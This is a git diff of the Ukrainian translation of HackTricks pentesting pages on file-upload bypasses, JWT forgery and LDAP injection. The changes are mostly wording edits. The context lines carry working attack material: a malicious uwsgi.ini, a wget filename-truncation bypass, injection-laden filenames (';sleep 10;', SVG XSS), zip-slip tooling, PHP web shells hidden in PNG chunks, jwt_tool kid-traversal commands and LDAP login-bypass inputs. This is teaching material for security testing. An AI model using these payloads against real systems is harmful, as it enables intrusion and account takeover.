* Якщо **сжаття додається до вашого зображення**, наприклад, за допомогою деяких стандартних бібліотек PHP, таких як [PHP-GD](https://www.php.net/manual/fr/book.image.php), попередні техніки не будуть корисні. Однак ви можете використовувати **техніку PLTE chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
|
||||
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **техніку IDAT chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе компресію**.
|
||||
* Веб-сторінка також може **змінювати розмір** **зображення**, використовуючи, наприклад, функції PHP-GD `imagecopyresized` або `imagecopyresampled`. Однак ви можете використовувати **техніку IDAT chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
|
||||
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Інша техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **техніку tEXt chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе компресію**.
|
||||
* Інша техніка для створення корисного навантаження, яке **переживе зміну розміру зображення**, використовуючи функцію PHP-GD `thumbnailImage`. Однак ви можете використовувати **техніку tEXt chunk** [**визначену тут**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) для вставки деякого тексту, який **переживе стиснення**.
|
||||
* [**Github з кодом**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Інші трюки для перевірки
|
||||
|
@ -98,10 +98,10 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
* Знайдіть вразливість для **перейменування** вже завантаженого файлу (щоб змінити розширення).
|
||||
* Знайдіть вразливість **Local File Inclusion** для виконання бекдору.
|
||||
* **Можливе розкриття інформації**:
|
||||
1. Завантажте **кілька разів** (і **одночасно**) **той самий файл** з **тим самим ім'ям**
|
||||
1. Завантажте **кілька разів** (і в **один і той же час**) **той самий файл** з **тим самим ім'ям**
|
||||
2. Завантажте файл з **ім'ям** файлу або **папки**, яка **вже існує**
|
||||
3. Завантажте файл з **“.”, “..” або “…” як його ім'я**. Наприклад, в Apache у **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
|
||||
4. Завантажте файл, який може бути не легко видалити, наприклад, **“…:.jpg”** у **NTFS**. (Windows)
|
||||
3. Завантажте файл з **“.”, “..”, або “…” як його ім'я**. Наприклад, в Apache в **Windows**, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
|
||||
4. Завантажте файл, який може бути не легко видалити, наприклад, **“…:.jpg”** в **NTFS**. (Windows)
|
||||
5. Завантажте файл у **Windows** з **недійсними символами**, такими як `|<>*?”` в його імені. (Windows)
|
||||
6. Завантажте файл у **Windows**, використовуючи **зарезервовані** (**заборонені**) **імена**, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
|
||||
* Спробуйте також **завантажити виконуваний** (.exe) або **.html** (менш підозрілий), який **виконає код**, коли випадково відкриється жертвою.
|
||||
|
@ -111,7 +111,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
Якщо ви намагаєтеся завантажити файли на **PHP сервер**, [ознайомтеся з трюком **.htaccess** для виконання коду](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Якщо ви намагаєтеся завантажити файли на **ASP сервер**, [ознайомтеся з трюком **.config** для виконання коду](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Файли `.phar` подібні до `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його з php або включаючи його в скрипт...)
|
||||
Файли `.phar` схожі на `.jar` для java, але для php, і можуть бути **використані як php файл** (виконуючи його з php або включаючи його в скрипт...)
|
||||
|
||||
Розширення `.inc` іноді використовується для php файлів, які використовуються лише для **імпорту файлів**, тому в якийсь момент хтось міг дозволити **виконання цього розширення**.
|
||||
|
||||
|
@ -125,7 +125,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Вразливості віддаленого виконання команд (RCE) можуть бути експлуатовані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів та операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
|
||||
Вразливості віддаленого виконання команд (RCE) можуть бути використані на серверах uWSGI, якщо є можливість змінити файл конфігурації `.ini`. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів та операторів. Зокрема, оператор '@', який використовується як `@(filename)`, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації `.ini`.
|
||||
|
||||
Розгляньте наступний приклад шкідливого файлу `uwsgi.ini`, що демонструє різні схеми:
|
||||
```ini
|
||||
|
@ -147,11 +147,11 @@ characters = @(call://uwsgi_func)
|
|||
```
|
||||
Виконання payload відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована та проаналізована, процес uWSGI повинен бути перезапущений (можливо, після збою або через атаку відмови в обслуговуванні) або файл повинен бути налаштований на автоматичне перезавантаження. Функція автоматичного перезавантаження, якщо вона увімкнена, перезавантажує файл через певні інтервали при виявленні змін.
|
||||
|
||||
Важливо зрозуміти м'яку природу парсингу конфігураційного файлу uWSGI. Зокрема, обговорюваний payload може бути вставлений у бінарний файл (такий як зображення або PDF), що ще більше розширює можливості потенційної експлуатації.
|
||||
Важливо зрозуміти м'який характер парсингу конфігураційного файлу uWSGI. Зокрема, обговорюваний payload може бути вставлений у бінарний файл (такий як зображення або PDF), що ще більше розширює можливості потенційної експлуатації.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів**, і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **цю перевірку можна обійти.**\
|
||||
В деяких випадках ви можете виявити, що сервер використовує **`wget`** для **завантаження файлів** і ви можете **вказати** **URL**. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, **ця перевірка може бути обійдена.**\
|
||||
**Максимальна** довжина **імені файлу** в **linux** становить **255**, однак **wget** обрізає імена файлів до **236** символів. Ви можете **завантажити файл під назвою "A"\*232+".php"+".gif"**, це ім'я файлу **обійде** **перевірку** (оскільки в цьому прикладі **".gif"** є **допустимим** розширенням), але `wget` **перейменує** файл на **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
|
@ -187,9 +187,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
* Встановіть **filename** на `sleep(10)-- -.jpg` і ви можете досягти **SQL-ін'єкції**
|
||||
* Встановіть **filename** на `<svg onload=alert(document.domain)>`, щоб досягти XSS
|
||||
* Встановіть **filename** на `; sleep 10;`, щоб протестувати деякі ін'єкції команд (більше [триків ін'єкцій команд тут](../command-injection.md))
|
||||
* [**XSS** у завантаженні файлів зображень (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* [**XSS** в завантаженні файлів зображень (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** файл **завантаження** + **XSS** = [**експлуатація сервісних працівників**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE у завантаженні svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**XXE в завантаженні svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Відкрите перенаправлення** через завантаження svg файлу](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Спробуйте **різні svg payloads** з [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Відома вразливість **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
|
@ -239,7 +239,7 @@ tar -cvf test.tar symindex.txt
|
|||
|
||||
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
|
||||
|
||||
Автоматизований експлойт для створення таких файлів доступний на [**evilarc на GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
|
||||
Автоматизований експлойт для створення таких файлів доступний на [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Утиліту можна використовувати, як показано:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
|
@ -304,9 +304,9 @@ pop graphic-context
|
|||
```
|
||||
## Вбудовування PHP Shell у PNG
|
||||
|
||||
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки вони зазвичай використовуються для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
|
||||
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції `imagecopyresized` та `imagecopyresampled` з PHP-GD є особливо актуальними в цьому контексті, оскільки їх зазвичай використовують для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
|
||||
|
||||
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надається в наступній статті: ["Кодування веб-оболонок у частинах PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
|
||||
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надано в наступній статті: ["Кодування веб-оболонок у частинах PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
|
||||
|
||||
Більше інформації за адресою: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
|
@ -314,7 +314,7 @@ pop graphic-context
|
|||
|
||||
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є [GIFAR](https://en.wikipedia.org/wiki/Gifar), гібрид, який функціонує як GIF, так і RAR-архів. Такі файли не обмежуються лише цим поєднанням; комбінації, такі як GIF і JS або PPT і JS, також можливі.
|
||||
|
||||
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних додатках є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
|
||||
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних програмах є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїїв кількох типів файлів, може непомітно обійти ці обмеження.
|
||||
|
||||
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики системи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, то лише структурна двоїстість поліглота може не бути достатньою для гарантії його завантаження.
|
||||
|
||||
|
@ -329,7 +329,7 @@ pop graphic-context
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
If you are interested in **кар'єрі в хакерстві** and hack the unhackable - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -96,14 +96,14 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
|
||||
### JWKS Спуфінг
|
||||
|
||||
Інструкції детально описують метод оцінки безпеки JWT токенів, зокрема тих, що використовують заголовок "jku". Цей заголовок має посилатися на файл JWKS (JSON Web Key Set), який містить публічний ключ, необхідний для перевірки токена.
|
||||
Інструкції детально описують метод оцінки безпеки JWT токенів, зокрема тих, що використовують заяву заголовка "jku". Ця заява повинна посилатися на файл JWKS (JSON Web Key Set), який містить публічний ключ, необхідний для перевірки токена.
|
||||
|
||||
* **Оцінка токенів з заголовком "jku"**:
|
||||
* Перевірте URL заяви "jku", щоб переконатися, що він веде до відповідного файлу JWKS.
|
||||
* Змініть значення "jku" токена, щоб направити його на контрольований веб-сервіс, що дозволяє спостерігати за трафіком.
|
||||
* Змініть значення "jku" токена, щоб направити його на контрольовану веб-службу, що дозволяє спостерігати за трафіком.
|
||||
* **Моніторинг HTTP-взаємодії**:
|
||||
* Спостереження за HTTP-запитами до вашого вказаного URL вказує на спроби сервера отримати ключі з наданого вами посилання.
|
||||
* Коли ви використовуєте `jwt_tool` для цього процесу, важливо оновити файл `jwtconf.ini` з вашим особистим місцем розташування JWKS для полегшення тестування.
|
||||
* При використанні `jwt_tool` для цього процесу важливо оновити файл `jwtconf.ini` з вашим особистим розташуванням JWKS для полегшення тестування.
|
||||
* **Команда для `jwt_tool`**:
|
||||
* Виконайте наступну команду, щоб змоделювати сценарій з `jwt_tool`:
|
||||
|
||||
|
@ -113,15 +113,15 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
### Огляд проблем з Kid
|
||||
|
||||
Додаткова заявка заголовка, відома як `kid`, використовується для ідентифікації конкретного ключа, що стає особливо важливим у середовищах, де існує кілька ключів для перевірки підпису токена. Ця заявка допомагає вибрати відповідний ключ для перевірки підпису токена.
|
||||
Додаткова заява заголовка, відома як `kid`, використовується для ідентифікації конкретного ключа, що стає особливо важливим у середовищах, де існує кілька ключів для перевірки підпису токена. Ця заява допомагає вибрати відповідний ключ для перевірки підпису токена.
|
||||
|
||||
#### Виявлення ключа через "kid"
|
||||
|
||||
Коли у заголовку присутня заявка `kid`, рекомендується шукати у веб-директорії відповідний файл або його варіації. Наприклад, якщо вказано `"kid":"key/12345"`, слід шукати файли _/key/12345_ та _/key/12345.pem_ у кореневій директорії веб-сервера.
|
||||
Коли заява `kid` присутня в заголовку, рекомендується шукати у веб-директорії відповідний файл або його варіації. Наприклад, якщо вказано `"kid":"key/12345"`, слід шукати файли _/key/12345_ та _/key/12345.pem_ у кореневій директорії веб-сайту.
|
||||
|
||||
#### Перехід по шляху з "kid"
|
||||
|
||||
Заявка `kid` також може бути використана для навігації по файловій системі, що потенційно дозволяє вибір довільного файлу. Можливо протестувати на наявність з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або сервіси. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче:
|
||||
Заява `kid` також може бути використана для навігації по файловій системі, що потенційно дозволяє вибір довільного файлу. Можливо протестувати на наявність з'єднання або виконати атаки Server-Side Request Forgery (SSRF), змінивши значення `kid`, щоб націлитися на конкретні файли або служби. Зміна JWT для зміни значення `kid`, зберігаючи оригінальний підпис, може бути досягнута за допомогою прапора `-T` у jwt_tool, як показано нижче:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
|
@ -167,9 +167,9 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифіката), закодованих у формі PEM. Перший сертифікат у наборі повинен бути тим, що використовується для підписання цього JWT. Наступні сертифікати підписують попередній, таким чином завершуючи ланцюг сертифікатів. X.509 визначено в RFC 52807. Для передачі сертифікатів потрібна транспортна безпека.
|
||||
X.509 URL. URI, що вказує на набір публічних сертифікатів X.509 (стандарт формату сертифіката), закодованих у форматі PEM. Перший сертифікат у наборі повинен бути тим, що використовується для підписання цього JWT. Наступні сертифікати кожен підписує попередній, таким чином завершуючи ланцюг сертифікатів. X.509 визначено в RFC 52807. Для передачі сертифікатів потрібна транспортна безпека.
|
||||
|
||||
Спробуйте **змінити цей заголовок на URL під вашим контролем** і перевірте, чи буде отримано будь-який запит. У такому випадку ви **зможете підробити JWT**.
|
||||
Спробуйте **змінити цей заголовок на URL під вашим контролем** і перевірте, чи буде отримано будь-який запит. У такому випадку ви **можете підробити JWT**.
|
||||
|
||||
Щоб підробити новий токен, використовуючи сертифікат, контрольований вами, вам потрібно створити сертифікат і витягти публічні та приватні ключі:
|
||||
```bash
|
||||
|
@ -248,11 +248,11 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
Було помічено, що деякі веб-додатки покладаються на надійний сервіс JWT для генерації та управління своїми токенами. Зафіксовано випадки, коли токен, згенерований для одного клієнта сервісом JWT, був прийнятий іншим клієнтом того ж сервісу JWT. Якщо спостерігається видача або поновлення JWT через сторонній сервіс, слід дослідити можливість реєстрації облікового запису на іншому клієнті цього сервісу, використовуючи те саме ім'я користувача/електронну пошту. Потім слід спробувати повторити отриманий токен у запиті до цілі, щоб перевірити, чи буде він прийнятий.
|
||||
|
||||
* Критична проблема може бути вказана прийняттям вашого токена, що потенційно дозволяє підробку облікового запису будь-якого користувача. Однак слід зазначити, що може знадобитися дозвіл на більш широке тестування, якщо реєстрація на сторонньому додатку, оскільки це може потрапити в юридичну сіру зону.
|
||||
* Критична проблема може бути вказана прийняттям вашого токена, що потенційно дозволяє підробку облікового запису будь-якого користувача. Однак слід зазначити, що для більш широкого тестування може знадобитися дозвіл, якщо реєстрація на сторонньому додатку, оскільки це може потрапити в юридичну сіру зону.
|
||||
|
||||
**Перевірка терміну дії токенів**
|
||||
|
||||
Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. Рекомендації JWT RFC пропонують зменшити атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Зміст токена, включаючи парсинг мітки часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструменту jwt_tool.
|
||||
Термін дії токена перевіряється за допомогою заяви "exp" Payload. Оскільки JWT часто використовуються без інформації про сесію, потрібна обережна обробка. У багатьох випадках захоплення та повторне використання JWT іншого користувача може дозволити видавати себе за цього користувача. Рекомендації JWT RFC пропонують зменшити атаки повторного використання JWT, використовуючи заяву "exp" для встановлення часу закінчення дії токена. Крім того, реалізація відповідних перевірок додатком для забезпечення обробки цього значення та відхилення прострочених токенів є критично важливою. Якщо токен містить заяву "exp" і обмеження часу тестування дозволяють, рекомендується зберігати токен і повторно використовувати його після закінчення терміну дії. Вміст токена, включаючи парсинг мітки часу та перевірку терміну дії (мітка часу в UTC), можна прочитати за допомогою прапора -R інструмента jwt_tool.
|
||||
|
||||
* Існує ризик безпеки, якщо додаток все ще перевіряє токен, оскільки це може означати, що токен ніколи не може закінчитися.
|
||||
|
||||
|
@ -262,13 +262,13 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та в тому, щоб зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та в хакерстві непереможного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вчіться та практикуйте хакерство AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте хакерство GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -276,7 +276,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -63,7 +63,7 @@
|
|||
**ADAM або Microsoft LDS**: З 2 фільтрами виникає помилка.\
|
||||
**SunOne Directory Server 5.0**: Виконує обидва фільтри.
|
||||
|
||||
**Дуже важливо надсилати фільтр з правильною синтаксисом, інакше виникне помилка. Краще надсилати лише 1 фільтр.**
|
||||
**Дуже важливо надіслати фільтр з правильною синтаксисом, інакше виникне помилка. Краще надіслати лише 1 фільтр.**
|
||||
|
||||
Фільтр має починатися з: `&` або `|`\
|
||||
Приклад: `(&(directory=val1)(folder=public))`
|
||||
|
@ -73,9 +73,9 @@
|
|||
|
||||
Тоді: `(&(objectClass=`**`*)(ObjectClass=*))`** буде першим фільтром (тим, що виконується).
|
||||
|
||||
### Login Bypass
|
||||
### Обхід авторизації
|
||||
|
||||
LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Тому може бути так, що незалежно від того, що ви введете в пароль, воно буде захищене.
|
||||
LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Тому може бути так, що незалежно від того, що ви введете в пароль, він буде захищений.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
@ -224,19 +224,19 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** і хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вчіться та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вчіться та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
